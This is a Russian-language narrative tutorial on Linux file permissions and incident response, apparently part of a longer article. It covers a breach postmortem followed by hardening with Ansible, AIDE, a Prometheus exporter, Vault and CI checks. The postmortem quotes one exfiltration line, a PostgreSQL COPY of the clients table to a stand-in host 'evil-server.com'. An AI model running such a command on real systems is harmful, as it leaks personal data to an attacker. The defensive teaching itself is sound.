В 10:00 Алексей созвал команду на созвон. Не для того, чтобы найти виноватого, а чтобы понять, как система допустила эту ошибку. Он написал документ, который назывался "Postmortem: Утечка данных через RCE и неправильные права".
Дата инцидента: 2024-01-02 01:17-03:24
Продолжительность: 2 часа 7 минут
Количество затронутых записей: ~47 000
ЧТО ПРОИЗОШЛО:
1. Через форму загрузки файлов (библиотека file-upload v2.1.4)
загружен вредоносный PHP-скрипт
2. Скрипт выполнился от имени www-data через RCE-уязвимость CVE-2023-12345
3. Скрипт прочитал /var/www/app/config/database.yml (права 644, группа webapps)
4. Полученные учётные данные использованы для подключения к PostgreSQL
5. Выполнен COPY clients TO 'http://evil-server.com/'
ПРЯМЫЕ ПРИЧИНЫ:
- Устаревшая библиотека (не обновляли с мая 2022)
- Отключённый WAF (Web Application Firewall)
- Права 644 на файлы с паролями (групповой доступ)
КОРНЕВЫЕ ПРИЧИНЫ:
- Отсутствует процесс отслеживания CVE уязвимостей
- Нет автоматического обновления зависимостей (Dependabot отключён)
- SELinux отключён из-за "сложности настройки"
- Отсутствует мониторинг изменения прав на критичных файлах
- Нет централизованного хранения секретов (файлы на диске)
ВЛИЯНИЕ:
- Утечка ПДН 47 000 клиентов
- Штраф (потенциально до 4% годового оборота)
- Репутационные потери
- Простой системы 3 часа
ДЕЙСТВИЯ, ПРИНЯТЫЕ НЕМЕДЛЕННО:
✅ Обновлена библиотека file-upload до v2.1.9
✅ Изменены права на все секретные файлы: 640
✅ Установлен sticky bit на uploads: 1775
✅ Удалён бэкдор из cron www-data
✅ Сменены все пароли базы данных
✅ Включён SELinux в enforcing режим
✅ Создан скрипт мониторинга прав
ДЕЙСТВИЯ, ЗАПЛАНИРОВАННЫЕ:
- [ ] Включить Dependabot для всех репозиториев
- [ ] Настроить WAF (ModSecurity) в блокирующем режиме
- [ ] Развернуть систему хранения секретов Vault
- [ ] Настроить аудит PostgreSQL
- [ ] Внедрить AIDE для мониторинга целостности файлов
- [ ] Создать runbook для инцидентов
```
Этот документ разослали всем инженерам. Не для наказания, а для обучения. Blameless postmortem (постмортем без вины) — это ключевая практика. Если люди боятся наказания, они скрывают ошибки. Если ошибки скрывают, они повторяются.
Ansible как автоматизировать правильные права
Ручные изменения — это временно. Человек забывает, человек ошибается, человек увольняется. Настройки должны быть кодом. Он написал Ansible playbook набор инструкций, который применяет нужные права автоматически, на всех серверах, каждый раз при деплое.
Что такое Ansible?
Ansible — это система управления конфигурациями. Вы описываете желаемое состояние сервера в YAML-файлах, а Ansible приводит его к этому состоянию. Если права сбиты — Ansible их исправит. Если файл появился — Ansible выставит ему нужные права.
Вот playbook, который Алексей создал: yaml
---
# /ansible/playbooks/security/fix-permissions.yml
- name: Ensure critical permissions are set correctly
hosts: webservers
become: yes # выполнять от root
vars:
app_path: /var/www/app
app_user: alexey
app_group: webapps
tasks:
# 1. Права на конфиги
- name: Set database.yml permissions
file:
path: "{{ app_path }}/config/database.yml"
owner: "{{ app_user }}"
group: "{{ app_group }}"
mode: '0640' # -rw-r-----
- name: Set secret.key permissions
file:
path: "{{ app_path }}/config/secret.key"
owner: "{{ app_user }}"
group: "{{ app_group }}"
mode: '0640'
# 2. Права на uploads
- name: Set uploads directory ownership
file:
path: "{{ app_path }}/uploads"
owner: "{{ app_user }}"
group: "{{ app_group }}"
mode: '1775' # sticky bit + rwxrwxr-x
state: directory
# 3. Запретить выполнение PHP в uploads
- name: Disable PHP execution in uploads
lineinfile:
path: "{{ app_path }}/uploads/.htaccess"
line: "php_flag engine off"
create: yes
mode: '0644'
# 4. Настроить umask для www-data
- name: Set umask for PHP-FPM
lineinfile:
path: /etc/php/8.1/fpm/pool.d/www.conf
regexp: '^;?php_admin_value\[umask\]'
line: 'php_admin_value[umask] = 0022'
notify: restart php-fpm
# 5. Убедиться, что нет SUID файлов в app
- name: Find and remove SUID bits in app directory
command: find {{ app_path }} -type f -perm /4000 -exec chmod u-s {} \;
changed_when: false
# 6. Создать backup directory с правами 700
- name: Create secure backup directory
file:
path: "{{ app_path }}/backups"
owner: "{{ app_user }}"
group: "{{ app_user }}"
mode: '0700'
state: directory
handlers:
- name: restart php-fpm
service:
name: php8.1-fpm
state: restarted
Теперь, чтобы применить эти настройки на всех серверах, достаточно одной команды: bash
ansible-playbook /ansible/playbooks/security/fix-permissions.yml
И Ansible проверит: если права уже правильные — ничего не сделает. Если неправильные — исправит. Если файл отсутствует — создаст с нужными правами.
AIDE мониторинг целостности файлов
AIDE (Advanced Intrusion Detection Environment) — это система, которая следит за файлами и предупреждает, если они изменились. Она создаёт "отпечатки" (хэши) всех важных файлов и периодически сверяет с ними.
Как настроил Алексей: bash
# Установка
sudo apt install aide
# Инициализация базы (делается один раз)
sudo aideinit
# Это создаст файл /var/lib/aide/aide.db.new.gz
# Перемещаем его на место основной базы
sudo cp /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz
Теперь создаём конфиг, чтобы AIDE следил за критичными файлами. `/etc/aide/aide.conf`: bash
# Следим за конфигами
/var/www/app/config database.yml secret.key.asc
/var/www/app/uploads dir
# Не следим за логами (они меняются сами)
!/var/www/app/logs/
# Правила: что контролировать
# p : права доступа
# i : inode (уникальный номер файла)
# n : количество ссылок
# u : пользователь
# g : группа
# s : размер
# S : чексумма
# sha256 : хэш SHA256
database.yml p+i+n+u+g+s+S+sha256
Теперь запускаем проверку каждый час через cron (`/etc/cron.d/aide-check`):
0 * * * * root /usr/bin/aide --check --report=stdout | mail -s "AIDE Report $(hostname)" security@company.com
Если кто-то изменит права на database.yml, добавит SUID бит или подменит файл, AIDE мгновенно заметит и пришлёт письмо.
Prometheus и Grafana визуальный мониторинг прав
AIDE проверяет целостность, но Алексей хотел видеть тренды. Он написал экспортер для Prometheus — системы мониторинга, которая собирает метрики и показывает их в Grafana.
prometheus_file_permissions_exporter.py: python
#!/usr/bin/env python3
import os
import time
import sys
from prometheus_client import start_http_server, Gauge, Counter
# Создаём метрики
permission_violations = Gauge('file_permission_violations_total',
'Number of files with wrong permissions',
['filepath', 'expected', 'actual'])
permission_check_duration = Gauge('permission_check_duration_seconds',
'Duration of permission check')
permission_checks_total = Counter('permission_checks_total',
'Total number of permission checks')
CRITICAL_FILES = {
'/var/www/app/config/database.yml': '640',
'/var/www/app/config/secret.key': '640',
'/var/www/app/uploads': '1775',
'/etc/shadow': '640',
'/etc/passwd': '644'
}
def check_file_permissions():
start_time = time.time()
for filepath, expected_mode in CRITICAL_FILES.items():
try:
if not os.path.exists(filepath):
permission_violations.labels(
filepath=filepath,
expected=expected_mode,
actual='missing'
).set(1)
continue
# Получаем права в восьмеричном формате
stat_info = os.stat(filepath)
current_mode = oct(stat_info.st_mode & 0o777)[2:] # Например, '640'
if current_mode == expected_mode:
permission_violations.labels(
filepath=filepath,
expected=expected_mode,
actual=current_mode
).set(0)
else:
permission_violations.labels(
filepath=filepath,
expected=expected_mode,
actual=current_mode
).set(1)
except Exception as e:
permission_violations.labels(
filepath=filepath,
expected=expected_mode,
actual=f'error: {str(e)}'
).set(1)
duration = time.time() - start_time
permission_check_duration.set(duration)
permission_checks_total.inc()
if __name__ == '__main__':
# Запускаем HTTP сервер на порту 8000
start_http_server(8000)
while True:
check_file_permissions()
time.sleep(60) # Проверяем каждую минуту
Теперь Prometheus каждую минуту собирает метрики, а Grafana строит график. Если права изменились — линия на графике поднимается, и приходит алерт.
Vault: централизованное хранение секретов
Главный вывод Алексея: файлы на диске не место для паролей. Они должны храниться в специальной системе, которая шифрует их, контролирует доступ и ведёт аудит. Он выбрал HashiCorp Vault.
Что такое Vault?
Vault менеджер секретов. Он хранит пароли, API-ключи, сертификаты. Доступ к секретам происходит по токенам, которые можно отозвать. Vault ведёт лог: кто, когда, какой секрет читал. И главное — сами секреты никогда не пишутся на диск в открытом виде.
Установка Vault: bash
sudo apt install vault
sudo systemctl enable vault
sudo systemctl start vault
Инициализация Vault: bash
vault operator init
# Получаем 5 ключей распределения и root токен
# Сохраняем их в надёжном месте
Настройка хранения секретов: bash
# Входим в Vault
export VAULT_TOKEN="s.XXXXXXXXXXXXXX"
# Включаем версонирование секретов
vault secrets enable -path=secret kv-v2
# Сохраняем пароль базы данных
vault kv put secret/app/db \
host=localhost \
port=5432 \
username=app_user \
password='NewSuperSecurePass2024!' \
dbname=client_database
# Сохраняем API ключ
vault kv put secret/app/api \
key="sk_live_xxxxxxxxxxxxxxx"
```
Как приложение получает секреты?
Вместо файла database.yml теперь используется: bash
# Вариант 1: через команду vault
DATABASE_URL=$(vault kv get -field=password secret/app/db)
# Вариант 2: через API (для PHP)
# Используется библиотека vault-php
$client = new VaultClient('http://vault:8200', $token);
$secret = $client->kv->read('secret/app/db');
$db_pass = $secret['password'];
Преимущества Vault:
- Аудит: записывается каждый запрос секрета
- Отзыв: токен можно отключить за секунду
- Ротация: Vault может автоматически менять пароли
- Шифрование: секреты шифруются в rest и transit
- Нет файлов: злоумышленник не может просто прочитать файл
Алексей настроил сервер так, чтобы Vault запускался до веб-сервера, и приложение получало токен Vault через переменную окружения, которую видит только root.
Итоговый чек-лист безопасности
К 18:00 Алексей создал чек-лист, который повесил в канал #security и распечатал на стене в офисе:
ПРОДАКШЕН ЧЕК-ЛИСТ БЕЗОПАСНОСТИ
Файлы с паролями:
✅ Права: 600 или 640 (владелец ≠ www-data)
✅ Хранение: Vault, не файлы
✅ Аудит: AIDE + Prometheus
Директории загрузок:
✅ Права: 1775 (sticky bit обязателен)
✅ Владелец: alexey, не www-data
✅ Запрет выполнения: .htaccess с "php_flag engine off"
Umask:
✅ Для администраторов: 0077 в ~/.bashrc
✅ Для PHP: 0022 в pool.conf
Специальные биты:
✅ Поиск SUID: find / -perm /4000 -ls (еженедельно)
✅ Никаких SGID в /var/www
SELinux/AppArmor:
✅ Статус: Enforcing
✅ Проверка: getenforce (каждый день)
База данных:
✅ Права: только локальный хост
✅ Пользователь: без прав superuser
✅ Аудит: log_statement = 'all'
Мониторинг:
✅ AIDE: проверка каждый час
✅ Prometheus: экспортер прав
✅ Grafana: дашборд + алерты
Автоматизация:
✅ Ansible playbook на все серверы
✅ CI/CD проверяет права перед деплоем
Документация:
✅ Postmortem для каждого инцидента
✅ Runbook для инцидентов
✅ On-call ротация
Интеграция в CI/CD: проверка перед деплоем
Алексей внедрил проверку прав в pipeline GitLab. Перед каждым деплоем на staging и production запускается job: yaml
# .gitlab-ci.yml
security:permissions:
stage: test
script:
- ansible-playbook --check /ansible/playbooks/security/fix-permissions.yml
- /opt/security/check_permissions.sh
only:
- main
- merge_requests
allow_failure: false # если права неправильные — деплой не проходит
Теперь код, который нарушает безопасность, физически не может попасть в продакшен.
Директории: правильные права для разных сценариев
Мы много говорили про uploads, но как быть с другими папками? Алексей создал справочник:
Статические файлы сайта (`/var/www/html`): bash
chown -R root:root /var/www/html
find /var/www/html -type f -exec chmod 644 {} \;
find /var/www/html -type d -exec chmod 755 {} \;
Владелец root (только он может менять), остальные читают. Никаких sticky bit.
Кэш (`/var/www/app/cache`): bash
chown -R www-data:www-data /var/www/app/cache
chmod 770 /var/www/app/cache
Только веб-сервер может работать с кэшем. Другие не видят.
Логи (`/var/www/app/logs`): bash
chown -R www-data:adm /var/www/app/logs
chmod 750 /var/www/app/logs
Веб-сервер пишет, группа adm (администраторы) читает для анализа.
Бэкапы (`/var/www/app/backups`): bash
chown -R alexey:alexey /var/www/app/backups
chmod 700 /var/www/app/backups
Только alexey может видеть бэкапы. Даже www-data не имеет доступа.
Алексей помнил себя пять лет назад. Он тоже путался. Вот его советы для тех, кто только начинает:
Начни с команд: bash
# Посмотреть права
ls -l filename
# Понять, кто ты
whoami
id
# Изменить права (только для себя)
chmod 600 my_secret.txt
# Проверить, читабельно ли для сервера
sudo -u www-data cat /path/to/file
# Если Permission denied — значит, не читабельно
Запомни три цифры:
600 — только я (твои секреты)
640 — я и сервис (безопасные конфиги)
644 — я и все (публичные файлы)
Никогда не используй:
777 — это отказ от контроля
666 — для файлов без executable, но лучше 600/640
755 — только для папок и скриптов, которые все должны запускать
Используй umask:
Добавь в `~/.bashrc`: bash
umask 0077
Теперь твои новые файлы будут по умолчанию закрытыми.
Культура безопасности: главный вывод Алексея
Технологии важны, но главное — культура. Алексей понял: если команда видит безопасность как "мешалку", которая замедляет работу, они будут её обходить. Если же безопасность встроена в процесс — это становится привычкой.
Он внедрил правила:
- Security by default — безопасные настройки "из коробки", не нужно думать
- Fail closed — если что-то неясно, система должна ЗАПРЕТИТЬ, а не разрешить
- Zero trust — даже внутри сети никому не доверяем без проверки
- Transparency — все инциденты обсуждаются открыто
- Automation — ручные действия минимизированы, код правит
В 23:00 того же дня Алексей наконец закрыл ноутбук. Перед этим он ввёл последнюю команду: bash
aide --check
Результат: All files match. ничего не изменилось, никто не проник.
Он посмотрел на стикер, который повесил на монитор:
> "Каждая цифра в chmod — это решение. Это не техдолг, а контракт. Это обещание, что ты подумал, кому доверять данные. Это уважение к пользователям, которые доверили тебе свои данные."
Linux-права существуют 50 лет не потому, что идеальны. Они существуют, потому что заставляют администратора думать о границах. Они не защищают от гениальных хакеров. Они защищают от случайных ошибок, забывчивости, лени. Они говорят: "Подумай, прежде чем открыть доступ."
Когда система выдаёт "Permission denied", она не мешает работать. Она требует: "Объясни, почему этот доступ должен быть разрешён."
Правильный ответ не в `chmod 777`. Правильный ответ в понимании: кто, зачем, когда. И в готовности отстаивать эти границы, даже когда спать хочется, а телефон не умолкает.
Мы прошли путь от базовых команд до культуры безопасности. От цифр 644 до полной автоматизации. От теории до реальной ночи, когда данные утекают, а ты один против атаки.
Теперь, когда ты видишь `ls -l` и `-rw-r-----`, ты понимаешь: это не просто символы. Это история, за которой стоят часы работы, потерянный сон и принципы, которые защищают данные людей.